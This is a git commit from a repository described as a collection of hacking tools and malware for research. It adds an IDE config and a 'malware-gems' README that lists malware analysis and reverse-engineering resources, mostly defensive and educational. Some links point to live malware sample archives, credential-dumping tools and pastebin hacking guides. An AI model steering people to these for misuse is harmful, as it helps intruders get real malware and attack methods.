Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

commit

aw-junaid8b9e7085b03c
diff --git a/.idea/csv-plugin.xml b/.idea/csv-plugin.xml
new file mode 100644
index 0000000..46e4433
--- /dev/null
+++ b/.idea/csv-plugin.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+ <component name="CsvFileAttributes">
+ <option name="attributeMap">
+ <map>
+ <entry key="/Ransomware/tools use by ransomware gangs/RTM_ThreatHunt_Checklist.csv">
+ <value>
+ <Attribute>
+ <option name="separator" value="," />
+ </Attribute>
+ </value>
+ </entry>
+ <entry key="/Ransomware/tools use by ransomware gangs/Tools/AllTools.csv">
+ <value>
+ <Attribute>
+ <option name="separator" value="," />
+ </Attribute>
+ </value>
+ </entry>
+ </map>
+ </option>
+ </component>
+</project>
\ No newline at end of file
diff --git a/Malwares/list of malwares/README.md b/Malwares/list of malwares/README.md
new file mode 100644
index 0000000..a090a6d
--- /dev/null
+++ b/Malwares/list of malwares/README.md
@@ -0,0 +1,676 @@
+# malware-gems
+
+## NOTE: WORK IN PROGRESS! (Updated 19 July 2022)
+
+
+### What's this all about?
+This page contains a list of mostly malware analysis / reverse engineering related tools, training, podcasts, blog posts, literature and just about anything else closely related to the topic. This page serves as a catalog of sorts, containing "gems", some of which you may have stumbled across, and many others that you may not have.
+
+
+### Who is this page aimed at?
+
+#### Myself:
+When first starting out, I was overwhelmed by how malware/RE related material was somewhat scattered all over the Internet. With a limited availability of books and training, I started to collect my go-to sites for certain resources and tools in order to achive certain tasks.
+
+
+#### Beginners:
+I often get asked "how do you get started in malware analysis / RE". I'm hoping this list will provide a starting point at least. Anyone who has been practicing malware analysis for even a small amount of time, knows that there really is no single resource or location that will simply teach the art of malware analysis / RE. Plain and simple. That said, having a useful list of links is at least a starting point. However, one caveat is that this list should NOT replace your OWN time spent researching and learning by yourself. This is very much part of "the journey" towards becomming a better malware analyst / RE, similar to that of becomming a l33t h4x0r! ;)
+
+
+#### Anyone else:
+Regardless of skill/experience level, even the more experienced malware analyst / RE may hopefully find one or two useful gems on this page that they haven't yet stumbled across. This is where the name "malware-gems" originated from... Original, I know.. ;)
+
+
+### Isn't this similar to other "awesome" lists that exist on Github?
+Perhaps. While the various awesome "awesome" lists (as awesome as they are) gave me inspiration, I wanted to centralise my own tools/links etc due to growing my own malware analysis skills, in the hope that once I have things in one page, things may hopefully become a bit clearer in my head! In some ways, as awesome as the other various "awesome" lists are, I hope that this list will in itself be just as awesome, due to the fact that the this reflects a true and current representation of a malware analyst such as myself, who is building up their own knowledge with active links to tools, reading material etc!
+
+
+### Anything else?
+
+If you have any feedback or would like your site listed, feel free to reach out via Twitter.
+Twitter handle: [0x4143](https://twitter.com/0x4143)
+
+
+###### Disclaimer:
+* Full credits/props/respect to all the respective authors for their content.
+* I suspect that this list may morph gradually over time to possibly include other infosec related tools/links that aren't directly related to malware or RE, but I will try my very best to stay on topic! =)
+* The links contained in each section are currently in no particular order.
+* I may clean up the order at some point e.g. alphabetize, or order by preference.
+* Some tools/links may likely be in the wrong category, I will review this as time goes on.
+* This is a work-in-progress so bare with me!
+* Sharing is caring, so feel free to forward this link around.
+* "Haters gonna hate"!
+* And last but not least, **enjoy! =)
+
+
+
+
+# Books:
+* Intelligence Driven Incident Response - http://shop.oreilly.com/product/0636920043614.do
+* Practical Malware Analysis - https://www.nostarch.com/malware
+* Reversing: Secrets of Reverse Engineering - http://eu.wiley.com/WileyCDA/WileyTitle/productCd-0764574817.html
+* Practical Reverse Engineering - http://eu.wiley.com/WileyCDA/WileyTitle/productCd-1118787315,subjectCd-CSJ0.html
+* Malware Analyst Cookbook - http://eu.wiley.com/WileyCDA/WileyTitle/productCd-0470613033.html
+* IDA Pro Book - https://www.nostarch.com/idapro2.htm
+* Art of Assembly - http://www.plantation-productions.com/Webster/www.artofasm.com/index.html
+* The Art of Memory Forensics - http://eu.wiley.com/WileyCDA/WileyTitle/productCd-1118825098.html
+* Windows Internals, Part 1 (6th Edition) - https://www.microsoftpressstore.com/store/windows-internals-part-1-9780735648739
+* Windows Internals, Part 2 (6th Edition) - https://www.microsoftpressstore.com/store/windows-internals-part-2-9780735665873
+* Windows Internals, Part 1 (7th Edition):
+https://www.microsoftpressstore.com/store/windows-internals-part-1-system-architecture-processes-9780735684188
+* Windows Internals, Part 2 (7th Edition):
+https://www.microsoftpressstore.com/store/windows-internals-part-2-9780135462409
+* Hacking. The Art of Exploitation - https://www.nostarch.com/hacking2.htm
+* The Shellcoder's Handbook: Discovering and Exploiting Security Holes - http://eu.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html
+* Rootkits: Subverting the Windows Kernel - https://dl.acm.org/citation.cfm?id=1076346
+* Rootkits and Bootkits - https://www.nostarch.com/rootkits
+* The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage - http://www.simonandschuster.com/books/The-Cuckoos-Egg/Cliff-Stoll/9781416507789
+* Rootkits: Subverting the Windows Kernel - https://dl.acm.org/citation.cfm?id=1076346
+* The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System - https://www.safaribooksonline.com/library/view/the-rootkit-arsenal/9781449626365/
+* Learning Malware Analysis - https://www.amazon.co.uk/Learning-Malware-Analysis-techniques-investigate/dp/1788392507/ref=sr_1_1?ie=UTF8&qid=1534162748&sr=8-1&keywords=malware+analysis
+* Sandworm - https://www.penguinrandomhouse.com/books/597684/sandworm-by-andy-greenberg/
+
+
+
+# CheatSheets/Tables:
+* IDA Cheat Sheet - https://securedorg.github.io/idacheatsheet.html
+* Cheat Sheets - https://highon.coffee/blog/cheat-sheet/
+* File Signatures - http://www.garykessler.net/library/file_sigs.html
+* APT Groups and Operations - https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/pubhtml#
+* Ransomware Overview - https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml#
+* Intel Assembler code table - http://www.jegerlehner.ch/intel/
+* ARM Assembly Cheatsheet - https://azeria-labs.com/assembly-basics-cheatsheet/
+* APTnotes - https://github.com/kbandla/APTnotes
+* PE 101 - https://github.com/corkami/pics/blob/master/binary/pe101/pe101.pdf
+* PDF 101 - https://github.com/corkami/docs/blob/master/PDF/PDF.md
+* PDF analysis - https://github.com/zbetcheckin/PDF_analysis
+* Digital Forensics and Incident Response - https://www.jaiminton.com/cheatsheet/DFIR/#
+
+
+
+# CTF's:
+* Flare-On - http://flare-on.com/
+* LabyREnth - https://labyrenth.com/mud/
+* Facebook CTF - https://github.com/facebook/fbctf
+* CTF Field Guide - https://trailofbits.github.io/ctf/
+* RootMe - https://www.root-me.org
+* RPISEC CSCI 4968 - http://security.cs.rpi.edu/courses/binexp-spring2015/
+* Crackmes - https://crackmes.one/
+
+
+
+# Decoders:
+* CyberChef - https://gchq.github.io/CyberChef/
+* KevtheHermit RAT decoders - https://github.com/kevthehermit/RATDecoders
+
+
+
+# Debuggers:
+* OllyDbg - http://www.ollydbg.de/
+* Immunity Debugger - https://www.immunityinc.com/products/debugger/
+* X64dbg - https://x64dbg.com/#start
+* Rvmi - https://github.com/fireeye/rvmi
+* WinDBG - https://docs.microsoft.com/en-gb/windows-hardware/drivers/debugger/debugger-download-tools
+
+
+
+# Disassemblers:
+* IDA Pro - https://www.hex-rays.com/products/ida/
+* Binary Ninja - https://binary.ninja/
+* Radare2 - https://github.com/radare/radare2
+* Cutter - https://github.com/radareorg/cutter
+* BinNavi - https://github.com/google/binnavi
+* Hopper - https://www.hopperapp.com/
+* medusa - https://github.com/wisk/medusa
+* Disassembler.io - https://www.onlinedisassembler.com/static/home/
+* Ghidra - https://ghidra-sre.org/
+
+
+
+# Document Analysis Tools:
+* OfficeMalScanner/DisView - http://www.reconstructor.org/
+* AnalyzePDF - https://github.com/hiddenillusion/AnalyzePDF
+* BiffView - https://www.aldeid.com/wiki/BiffView
+* oletools - https://www.decalage.info/python/oletools
+* Origami Framework - https://github.com/cogent/origami-pdf
+* PDF Stream Dumper - http://sandsprite.com/blogs/index.php?uid=7&pid=57
+* CERMINE - https://github.com/CeON/CERMINE
+* pdfid - https://blog.didierstevens.com/programs/pdf-tools/
+* PDFwalker - https://www.aldeid.com/wiki/Origami/pdfwalker
+* Peepdf - http://eternal-todo.com/tools/peepdf-pdf-analysis-tool
+* pev - http://pev.sourceforge.net/
+* FOCA - https://www.elevenpaths.com/labstools/foca/index.html
+* LuckyStrike - https://github.com/curi0usJack/luckystrike
+* RTF Cleaner - https://github.com/nicpenning/RTF-Cleaner
+* RTFScan - http://www.reconstructer.org/
+
+
+
+# Dynamic/Behavioural Analysis Tools:
+* CaptureBAT - https://www.honeynet.org/node/315
+* Sysinternals Suite - https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
+* ProcDOT - http://www.procdot.com/
+* Process Hacker - http://processhacker.sourceforge.net/
+* Sysmon - https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
+* API Monitor - http://www.rohitab.com/apimonitor
+* Regshot - https://sourceforge.net/projects/regshot/
+* SwiftonSecurity Sysmon Config - https://github.com/SwiftOnSecurity/sysmon-config
+* Capture-Py - https://github.com/fbruzzaniti/Capture-Py
+* Windows Kernel Explorer - https://github.com/AxtMueller/Windows-Kernel-Explorer
+
+
+
+# Funny/Random:
+* Win95 defrag - http://hultbergs.org/defrag/
+* Little Bobby - http://www.littlebobbycomic.com/
+* Dilbert - http://dilbert.com/
+* XKCD - https://xkcd.com/
+* Why the fuck was i breached - https://whythefuckwasibreached.com/
+* VIM Adventures - https://vim-adventures.com/
+
+
+
+# Honeypots:
+* Modern Honey Network - https://github.com/threatstream/mhn
+
+
+
+# ICS:
+* Graphical Realism Framework for Industrial Control Simulations - https://github.com/djformby/GRFICS
+* ꓘamerka - https://woj-ciech.github.io/kamerka-demo/kamerka.html
+
+
+
+# IDA:
+* stackstring_static.py - https://github.com/TakahiroHaruyama/ida_haru/tree/master/stackstring_static
+* emotet_payload_decryption.py - https://gist.github.com/levwu/23751fe47f83d42ed6a63280a4f2aaaa
+* VB IDC - https://www.hex-rays.com/products/ida/support/freefiles/vb.idc
+* Diaphora - https://github.com/joxeankoret/diaphora
+* BinDiff - https://www.zynamics.com/bindiff.html
+* fnfuzzy - https://github.com/TakahiroHaruyama/ida_haru/tree/master/fn_fuzzy
+* BinDiff wrapper - https://github.com/TakahiroHaruyama/ida_haru/tree/master/bindiff
+* simpliFiRE.IDAscope - https://bitbucket.org/daniel_plohmann/simplifire.idascope/src/master/
+* IDA Plugins - http://www.openrce.org/downloads/browse/IDA_Plugins
+* FindCrypt - https://github.com/you0708/ida/tree/master/idapython_tools/findcrypt
+
+
+
+# IOT:
+* Binwalk - https://github.com/devttys0/binwalk
+* JTAG Explained - http://blog.senr.io/blog/jtag-explained
+* Firmware Analysis Toolkit - https://github.com/attify/firmware-analysis-toolkit
+* Saleae Logic Analyzer software - https://www.saleae.com/downloads/
+
+
+
+# IR:
+* Detecting Lateral Movement through Tracking Event Logs - https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf
+* Incident Response Methodologies - https://github.com/certsocietegenerale/IRM
+* MITRE ATT&CK Framework - https://attack.mitre.org/wiki/Main_Page
+
+
+
+# JavaScript Deobfuscation Tools:
+* SpiderMonkey (js) - https://blog.didierstevens.com/programs/spidermonkey/
+* Malzilla - http://malzilla.sourceforge.net/
+* Malware-Jail - https://github.com/HynekPetrak/malware-jail
+
+
+
+# LNK File Analysis:
+* https://lifeinhex.com/analyzing-malicious-lnk-file/
+
+
+
+# MAC:
+* MacOS Papers, Slides and Thesis Archive - https://papers.put.as/macosx/macosx/
+* norimaci - https://github.com/mnrkbys/norimaci
+* DTrace: [even better than] strace for OS X - https://8thlight.com/blog/colin-jones/2015/11/06/dtrace-even-better-than-strace-for-osx.html
+
+
+
+# Malware Repo's:
+* MalwareBazaar - https://bazaar.abuse.ch/
+* VXVault - http://vxvault.net/ViriList.php
+* MalShare - https://malshare.com/
+* CyberCrime Tracker - http://cybercrime-tracker.net/index.php
+* TheZoo - https://github.com/ytisf/theZoo
+* Endgame Ember - https://github.com/endgameinc/ember
+* Global ATM Malware Wall - http://atm.cybercrime-tracker.net/index.php
+* What is this C2 - https://github.com/misterch0c/what_is_this_c2
+* Connect Trojan - https://www.connect-trojan.com/
+* ViriBack C2 Tracker - http://tracker.viriback.com/
+* VirusBay - https://beta.virusbay.io/
+
+
+
+# Maps / Stats (eye candy):
+* ThreatButt - https://threatbutt.com/map/
+* BitDefender - https://threatmap.bitdefender.com/
+* FireEye - https://www.fireeye.com/cyber-map/threat-map.html
+* Global Incident Map - http://www.globalincidentmap.com/
+* Tor Flow - https://torflow.uncharted.software/
+* Kaspersky Cybermap - https://cybermap.kaspersky.com/
+* Security Wizardry - http://www.securitywizardry.com/radar.htm
+* Norse Attack Map - http://map.norsecorp.com/#/
+* Digital Attack Map - http://www.digitalattackmap.com/#anim=1&color=0&country=ALL&list=0&time=16938&view=map
+* Stats - http://breachlevelindex.com/
+* Current Cyber Attacks - http://community.sicherheitstacho.eu/start/main
+* FSecure - http://worldmap3.f-secure.com/
+* Talos - https://talosintelligence.com/
+* Security Wizardry - https://radar.securitywizardry.com/
+* Ransomware Attack Map - https://statescoop.com/ransomware-map/
+
+
+
+# Memory Forensics:
+* Volatility - http://www.volatilityfoundation.org/
+* Memoryze - https://www.fireeye.com/services/freeware/memoryze.html
+* DumpIt - https://blog.comae.io/your-favorite-memory-toolkit-is-back-f97072d33d5c
+* Hibr2Bin - https://blog.comae.io/your-favorite-memory-toolkit-is-back-f97072d33d5c
+* Rekall Memory Forensic Framework - https://github.com/google/rekall
+* Clonezilla - http://clonezilla.org/
+* dd - https://linux.die.net/man/1/dd
+* Fog - https://fogproject.org/
+* Forensic Toolkit (FTK) - http://www.accessdata.com/product-download
+* Redline - https://www.fireeye.com/services/freeware/redline.html
+* MemLabs - https://github.com/stuxnet999/MemLabs
+
+
+
+# Misc Tools:
+* File Signature Analysis - https://filesignatures.net/index.php?page=all
+* EKFiddle - https://github.com/malwareinfosec/EKFiddle
+* XMind - http://www.xmind.net/
+* ExamDiff - http://www.prestosoft.com/edp_examdiff.asp
+* 7zip - http://www.7-zip.org/download.html
+* Visual Studio - https://www.visualstudio.com/
+* WinSCP - https://winscp.net/eng/download.php
+* Putty - https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
+* TreeSizeFree - https://www.jam-software.com/treesize_free/
+* OneNote - https://www.onenote.com/
+* KeePass - https://keepass.info/
+* ExifTool - https://www.sno.phy.queensu.ca/~phil/exiftool/
+* RegEx 101 - https://regex101.com/
+* Byte Counter - https://mothereff.in/byte-counter
+* Utilu IE Collection - http://utilu.com/IECollection/
+* UserAgentString - http://www.useragentstring.com/
+* Maltego - https://www.paterva.com/web7/buy/maltego-clients/maltego-ce.php
+* Cmder - http://cmder.net/
+* MalPull - https://github.com/ThisIsLibra/MalPull
+* StringSifter - https://github.com/mandiant/stringsifter
+
+
+
+# .Net Debuggers/Decompilers:
+* ILSpy - http://ilspy.net/
+* dnSpy - https://github.com/0xd4d/dnSpy
+* dotPeek - https://www.jetbrains.com/decompiler/
+* de4dot - https://github.com/0xd4d/de4dot
+* Reflector - https://www.red-gate.com/products/dotnet-development/reflector/index
+
+
+
+# Network Analysis:
+* Wireshark - https://www.wireshark.org/
+* Network Miner - http://www.netresec.com/?page=NetworkMiner
+* LogRhythm Network Monitor Freemium - https://logrhythm.com/network-monitor-freemium/
+* dig - https://linux.die.net/man/1/dig
+* curl - https://curl.haxx.se/docs/manpage.html
+* ApateDNS - https://www.fireeye.com/services/freeware/apatedns.html
+* NetCat - http://netcat.sourceforge.net/
+* Nslookup - https://linux.die.net/man/1/nslookup
+* PDF Stream Dumper - http://sandsprite.com/blogs/index.php?uid=7&pid=57
+* Robtex - https://www.robtex.com/
+* Belati - https://github.com/aancw/Belati
+* Ostinato - http://ostinato.org/
+* Burp Suite - https://portswigger.net/burp/
+* Hak5 - https://hakshop.com/
+* Fiddler - https://www.telerik.com/fiddler
+* Shodan - https://www.shodan.io/
+* FakeNet-NG - https://github.com/fireeye/flare-fakenet-ng
+* Netzob - https://github.com/netzob/netzob
+* DShell - https://github.com/USArmyResearchLab/Dshell
+* SecurityOnion - https://securityonion.net/
+* Reverse engineering network protocols - Reverse Engineering Network Protocols
+* MITMProxy - https://mitmproxy.org/
+* DNSChef - https://github.com/iphelix/dnschef
+
+
+
+# Operating Systems:
+* Remnux - https://remnux.org/
+* SIFT - https://digital-forensics.sans.org/community/downloads
+* Kali - https://www.kali.org/
+* CAINE - http://www.caine-live.net/
+* Metasploitable 3 - https://github.com/rapid7/metasploitable3
+* DVWA - http://www.dvwa.co.uk/
+* Security Onion - https://securityonion.net/
+* FLARE VM - https://www.fireeye.com/blog/threat-research/2017/07/flare-vm-the-windows-malware.html
+* OWASP WebGoat - https://www.owasp.org/index.php/WebGoat_Installation#Installing_to_Windows
+* OWASP Bricks - https://www.owasp.org/index.php/OWASP_Bricks
+* OWASP Mantra - http://www.getmantra.com/
+* Tails - https://tails.boum.org/
+* Whonix - https://www.whonix.org/
+* Santoku - https://santoku-linux.com/about-santoku/
+
+
+
+# OSINT Online Tools:
+* OSINT Gathering - https://posts.specterops.io/gathering-open-source-intelligence-bee58de48e05
+* Automating OSINT Blog - http://www.automatingosint.com/blog/
+* SpiderFoot - https://www.spiderfoot.net/
+* Buscador - https://inteltechniques.com/buscador/
+
+
+
+# Password Cracking:
+* Hashcat - https://github.com/hashcat/hashcat
+* Crack.sh - https://crack.sh/
+* Mimikatz - https://github.com/gentilkiwi/mimikatz
+* Ophcrack - http://ophcrack.sourceforge.net/
+
+
+
+# Podcasts:
+* Security Now - https://www.grc.com/securitynow.htm
+* SANS Stormcast - https://isc.sans.edu/podcast.html
+* Down the Security Rabbithole - http://podcast.wh1t3rabbit.net/
+* Defensive Security - https://defensivesecurity.org/category/podcast/
+* Paul's Security Weekly - https://wiki.securityweekly.com/Show_Notes
+* RunAs Radio - http://www.runasradio.com/
+* Defensive Security Podcast - https://defensivesecurity.org/
+* Darknet Diaries - https://darknetdiaries.com/
+* Risky Business Podcast - https://risky.biz/
+* Security Nation Podcast - https://podcasts.apple.com/gb/podcast/security-nation/id1124543784
+* Smashing Security - https://www.smashingsecurity.com/
+
+
+
+# PowerShell decoding:
+* PSDecode - https://github.com/R3MRUM/PSDecode
+* PyPowerShellXray - https://github.com/JohnLaTwC/PyPowerShellXray
+* PowerShellRunBox: Analyzing PowerShell Threats Using PowerShell Debugging - https://darungrim.com/research/2019-10-01-analyzing-powershell-threats-using-powershell-debugging.html
+
+
+
+# Ransomware:
+* No More Ransomware - https://www.nomoreransom.org/en/index.html
+* ID Ransomware - https://id-ransomware.malwarehunterteam.com/
+* Emisoft decrypters - https://www.emsisoft.com/ransomware-decryption-tools/
+
+
+
+# Reading Material:
+* Reverse Engineering for Beginners - https://beginners.re/
+* Phrack - http://phrack.org/
+* Crypto 101 - https://www.crypto101.io/
+* Hacker Manifesto - http://phrack.org/issues/7/3.html
+* How to Become a Hacker - http://www.catb.org/esr/faqs/hacker-howto.html
+* Zines - https://github.com/fdiskyou/Zines
+* Hackaday - https://hackaday.com/blog/
+* Hacktress - http://www.hacktress.com/
+* Reddit - https://www.reddit.com/r/ReverseEngineering/
+* Windows API Index - https://msdn.microsoft.com/en-gb/library/windows/desktop/hh920508(v=vs.85).aspx
+* Raw Hex - https://rawhex.com/
+* DigiNinja - https://digi.ninja/
+* Team Cymru - http://www.team-cymru.org/index.html
+* Lenny Zeltser - https://zeltser.com/malicious-software/
+* OverAPI - http://overapi.com/
+* HackBack - https://pastebin.com/0SNSvyjJ
+* FlexiDie - https://pastebin.com/raw/Y1yf8kq0
+* DefCon archive - https://media.defcon.org/
+* Malwology - https://malwology.com/
+* Stuxnet's Footprint in memory with Volatility - http://mnin.blogspot.co.uk/2011/06/examining-stuxnets-footprint-in-memory.html
+* AtomBombing - https://breakingmalware.com/injection-techniques/atombombing-brand-new-code-injection-for-windows/
+* Malware Archaeology - https://www.malwarearchaeology.com/cheat-sheets
+* ShinoLocker - https://shinolocker.com/
+* A crash course in x86 assembly for reverse engineers - https://sensepost.com/blogstatic/2014/01/SensePost_crash_course_in_x86_assembly-.pdf
+* Zero Days, Thousands of Nights - https://www.rand.org/pubs/research_reports/RR1751.html
+* Shadow Brokers Exploit Reference Table - https://docs.google.com/spreadsheets/d/1sD4rebofrkO9Rectt5S3Bzw6RnPpbJrMV-L1mS10HQc/edit#gid=1602324093
+* GracefulSecurity - https://www.gracefulsecurity.com/infrastructure-security-articles/
+* Cybersecurity ain't easy. Let's talk about it - https://itspmagazine.com/itsp-chronicles/cybersecurity-ain-t-easy-lets-talk-about-it
+* How to become the best malware analyst e-v-e-r - http://www.hexacorn.com/blog/2018/04/14/how-to-become-the-best-malware-analyst-e-v-e-r/
+* Definitive Dossier of Devilish Debug Details – Part One: PDB Paths and Malware - https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html
+* Dr Fu's Security Blog - http://fumalwareanalysis.blogspot.com/p/malware-analysis-tutorials-reverse.html
+* Encoding vs. Encryption vs. Hashing vs. Obfuscation - https://danielmiessler.com/study/encoding-encryption-hashing-obfuscation/
+* Introduction to reverse engineering and Assembly - https://kakaroto.homelinux.net/2017/11/introduction-to-reverse-engineering-and-assembly/
+* Getting started with reverse engineering - https://lospi.net/developing/software/software%20engineering/reverse%20engineering/assembly/2015/03/06/reversing-with-ida.html
+* Guide to x86 Assembly - http://www.cs.virginia.edu/~evans/cs216/guides/x86.html
+* Nightmare (RE) - https://github.com/guyinatuxedo/nightmare
+* PDB Files: What Every Developer Must Know - https://www.wintellect.com/pdb-files-what-every-developer-must-know
+* BOLO: Reverse Engineering — Part 1 (Basic Programming Concepts) - https://medium.com/bugbountywriteup/bolo-reverse-engineering-part-1-basic-programming-concepts-f88b233c63b7
+* BOLO: Reverse Engineering — Part 2 (Advanced Programming Concepts) - https://medium.com/@danielabloom/bolo-reverse-engineering-part-2-advanced-programming-concepts-b4e292b2f3e
+* String Hashing: Reverse Engineering an Anti-Analysis Control - https://r3mrum.wordpress.com/2018/02/15/string-hashing-reverse-engineering-an-anti-analysis-control/
+* Ground Zero: Part 1 – Reverse Engineering Basics – Linux x64 - https://0xdarkvortex.dev/index.php/2018/04/09/ground-zero-part-1-reverse-engineering-basics/
+* Let's Build a Compiler - https://compilers.iecc.com/crenshaw/
+* Static Malware Analysis with OLE Tools and CyberChef - https://newtonpaul.com/static-malware-analysis-with-ole-tools-and-cyber-chef/
+* An Introduction to Reverse Engineering - https://www.muppetlabs.com/~breadbox/txt/bure.html
+* VXUnderground - https://vx-underground.org/papers.html
+* Tracking Advanced Persistent Threats (APTs) via Shared Code - https://medium.com/@arun_73782/tracking-apts-by-shared-code-5e88a2ae2363
+* YARA Hunting for Code Reuse: DoppelPaymer Ransomware & Dridex Families - https://www.sentinelone.com/blog/yara-hunting-for-code-reuse-doppelpaymer-ransomware-dridex-families/
+* Here We GO: Crimeware Virus & APT Journey From “RobbinHood” to APT28 - https://www.sentinelone.com/blog/here-we-go-crimeware-apt-journey-from-robbinhood-to-apt28/
+* The mysterious case of CVE-2016-0034: the hunt for a Microsoft Silverlight 0-day - https://securelist.com/the-mysterious-case-of-cve-2016-0034-the-hunt-for-a-microsoft-silverlight-0-day/73255/
+* Process Injection part 1 of 5 - https://3xpl01tc0d3r.blogspot.com/2019/08/process-injection-part-i.html
+* OSINT : Chasing Malware + C&C Servers - https://medium.com/secjuice/chasing-malware-and-c-c-servers-in-osint-style-3c893dc1e8cb
+* Daily dose of malware - https://github.com/woj-ciech/Daily-dose-of-malware
+* Tracking Malware with Import Hashing - https://www.fireeye.com/blog/threat-research/2014/01/tracking-malware-import-hashing.html
+* STOMP 2 DIS: Brilliance in the (Visual) Basics - https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html
+* Advanced Binary Deobfuscation - https://github.com/malrev/ABD
+* A Case Study Into Solving Crypters/packers in Malware Obfuscation Using an SMT Approach - https://vixra.org/abs/2002.0183
+* ReCon Montreal Archives - https://recon.cx/2019/montreal/archives/
+* FLARE IDA Pro Script Series: MSDN Annotations IDA Pro for Malware Analysis - https://www.fireeye.com/blog/threat-research/2014/09/flare-ida-pro-script-series-msdn-annotations-ida-pro-for-malware-analysis.html
+* Analyzing Modern Malware Techniques - Part 1 (of 4) - https://0x00sec.org/t/analyzing-modern-malware-techniques-part-1/18663
+* What Every Computer Programmer Should Know About Windows API, CRT, and the Standard C++ Library - https://www.codeproject.com/Articles/22642/What-Every-Computer-Programmer-Should-Know-About-W
+* theForger's Win32 API Programming Tutorial - http://www.winprog.org/tutorial/start.html
+* Unbreakable Cryptography in 5 Minutes - https://blog.xrds.acm.org/2012/08/unbreakable-cryptography-in-5-minutes/
+* Let’s play (again) with Predator the thief - https://fumik0.com/2019/12/25/lets-play-again-with-predator-the-thief/
+* VMProtect Introduction - https://shhoya.github.io/vmp_vmpintro.html
+* Azorult loader stages - https://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/
+* Reversing Malware Command and Control: From Sockets to COM - https://www.fireeye.com/blog/threat-research/2010/08/reversing-malware-command-control-sockets.html
+* Indicators of Compromise (IoCs) and Their Role in Attack Defence - https://tools.ietf.org/html/draft-paine-smart-indicators-of-compromise-00
+* Zombieland CTF – Reverse Engineering for Beginners - https://mcb101.blog/2019/10/11/zombieland-ctf-reverse-engineering-for-beginners/
+* Fu11Shade Windows Exploitation - https://fullpwnops.com/windows-exploitation-pathway.html
+
+
+
+# Sandbox Tools (Online):
+* VirusTotal - https://www.virustotal.com
+* Malwr - https://malwr.com/
+* Reverse.it - https://www.reverse.it/
+* Open Analysis - http://www.openanalysis.net/
+* ANY.RUN - https://any.run/
+* Hybrid Analysis - https://www.hybrid-analysis.com/
+* Intezer Analyze - https://analyze.intezer.com/
+
+
+
+# Sandbox Tools (Offline):
+* Noriben - https://github.com/Rurik/Noriben
+* Cuckoo - https://www.cuckoosandbox.org/
+* PyREBox - https://github.com/Cisco-Talos/pyrebox
+* Viper - http://viper.li/
+* MISP - http://www.misp-project.org/
+* Sandboxie - https://www.sandboxie.com/
+* Ph0neutria - https://github.com/phage-nz/ph0neutria
+* FlareVM - https://www.fireeye.com/blog/threat-research/2017/07/flare-vm-the-windows-malware.html
+
+
+
+# Shellcode Tools:
+* JMP2IT - https://github.com/adamkramer/jmp2it
+* Shellcode2exe.py - https://github.com/MarioVilas/shellcode_tools
+* ConvertShellCode - http://le-tools.com/ConvertShellcode.html
+* scdbg - http://sandsprite.com/blogs/index.php?uid=7&pid=152
+
+
+
+# Static Analysis Tools:
+* PEiD -https://www.aldeid.com/wiki/PEiD
+* McAfee FileInsight - https://www.mcafee.com/uk/downloads/free-tools/fileinsight.aspx
+* HashMyFiles - http://www.nirsoft.net/utils/hash_my_files.html
+* CFF Explorer - http://www.ntcore.com/exsuite.php
+* AnalyzePESig - https://blog.didierstevens.com/2012/10/01/searching-for-that-adobe-cert/
+* ByteHist - https://www.cert.at/downloads/software/bytehist_en.html
+* Exeinfo - http://exeinfo.pe.hu/
+* Scylla - https://github.com/NtQuery/Scylla
+* MASTIFF - https://git.korelogic.com/mastiff.git/
+* PEframe - https://github.com/guelfoweb/peframe
+* PEscan - https://tzworks.net/prototype_page.php?proto_id=15
+* PEstudio - https://www.winitor.com/
+* PE-Bear - https://hshrzd.wordpress.com/2013/07/09/introducing-new-pe-files-reversing-tool/
+* PE-sieve - https://github.com/hasherezade/pe-sieve
+* Flare-Floss - https://github.com/fireeye/flare-floss
+* PatchDiff2 - https://github.com/filcab/patchdiff2
+* PE Insider - http://cerbero.io/peinsider/
+* Resource Hacker - http://www.angusj.com/resourcehacker/
+* DarunGrim - https://github.com/ohjeongwook/DarunGrim
+* Mal Tindex - https://github.com/joxeankoret/maltindex
+* Manalyze - https://github.com/JusticeRage/Manalyze
+* PDBlaster - https://github.com/SecurityRiskAdvisors/PDBlaster
+* ImpFuzzy - https://github.com/JPCERTCC/impfuzzy
+* Florentino - https://github.com/0xsha/florentino/blob/master/README.md
+* Viper - https://viper.li/en/latest/
+
+
+
+# Text/hex Editor Tools:
+* Notepad++ - https://notepad-plus-plus.org/
+* 010 Editor - https://www.sweetscape.com/010editor/
+* HxD - https://mh-nexus.de/en/hxd/
+* BinText - https://www.aldeid.com/wiki/BinText
+* Hexinator - https://hexinator.com/
+
+
+
+# Threat Intelligence:
+* ThreatMiner - https://www.threatminer.org/
+* RiskIQ Community - https://community.riskiq.com/home
+* PasteBin - https://pastebin.com/
+* Shodan - https://www.shodan.io/
+* Censys - https://censys.io/
+* DNSdumpster - https://dnsdumpster.com/
+* URLHaus - https://urlhaus.abuse.ch/
+* AlienVault OTX - https://otx.alienvault.com/
+* C2 Tracker - http://tracker.viriback.com/stats.php
+* MISP - https://www.misp-project.org/
+* The Hive - https://thehive-project.org/
+* Yeti - https://yeti-platform.github.io/
+* Using ATT&CK for CTI Training - https://attack.mitre.org/resources/training/cti/
+* PasteScraper - https://github.com/PimmyTrousers/pastescraper
+
+
+
+# Training:
+* Cybrary - https://www.cybrary.it/
+* Corelan Team - https://www.corelan.be/
+* Open Security Training - http://opensecuritytraining.info/Training.html
+* Offensive Computer Security - http://www.cs.fsu.edu/~redwood/OffensiveComputerSecurity/lectures.html
+* PentesterLab - https://pentesterlab.com/
